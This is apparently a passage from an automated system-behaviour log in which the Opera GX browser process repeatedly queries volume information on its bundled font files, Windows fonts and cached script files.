      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Bold.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-BoldItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-ExtraLightItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Italic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Regular.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-BlackItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-BlackItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Bold.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Bold.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-BoldItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-ExtraBold.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-ExtraBold.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-ExtraBold.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-ExtraBoldItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-ExtraLight.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-ExtraLight.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Italic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Regular.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-SemiBold.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-SemiBoldItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Underwave-Bold.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-BlackItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-BlackItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Bold.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Bold.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-BlackItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-ExtraBold.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-BlackItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Light.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-BoldItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-ExtraBold.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Underwave-Bold.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Underwave-Bold.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-SemiBoldItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-SemiBoldItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Thin.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-BlackItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-BlackItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Bold.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-BoldItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-BoldItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-ExtraLight.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-ExtraLight.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Thin.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-ThinItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-BlackItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-BlackItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Bold.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Bold.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-BoldItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-ExtraLight.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-ExtraLightItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Italic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Regular.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Underwave-Bold.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Bold.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Bold.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-BoldItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-BoldItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-ExtraBold.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-BlackItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-ExtraLight.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-LightItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\6473f55eaa1e3a5b_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.version VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\4fec6cc64adc608a_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-BlackItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-BlackItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Bold.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Bold.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-ExtraBold.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-ExtraBold.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-ExtraBoldItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\6473f55eaa1e3a5b_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\4fec6cc64adc608a_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\a2dff4f1fb695978_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\0a88619df46d5443_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\a2dff4f1fb695978_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\0a88619df46d5443_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\3d19a0f089c1f321_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\MEIPreload\preloaded_data.pb VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\469254544b8b2845_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\3d19a0f089c1f321_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-BlackItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-BlackItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Bold.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Bold.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-BoldItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-BoldItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-ExtraBold.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-ExtraBoldItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Italic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Light.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-LightItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\3fbc5b0d8e426b92_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\f5483e8983f75974_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\469254544b8b2845_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\3fbc5b0d8e426b92_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\f5483e8983f75974_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\1ff9a2e5ad1461fa_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\65af9332f2b5bc27_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\1ff9a2e5ad1461fa_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\65af9332f2b5bc27_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\ScriptCache\4cb013792b196a35_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\f941cf55c497bbc9_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-BlackItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-BlackItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-ExtraLight.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-ExtraLightItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-ExtraLightItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Italic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Italic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Light.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-LightItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-LightItalic.ttf VolumeInformation
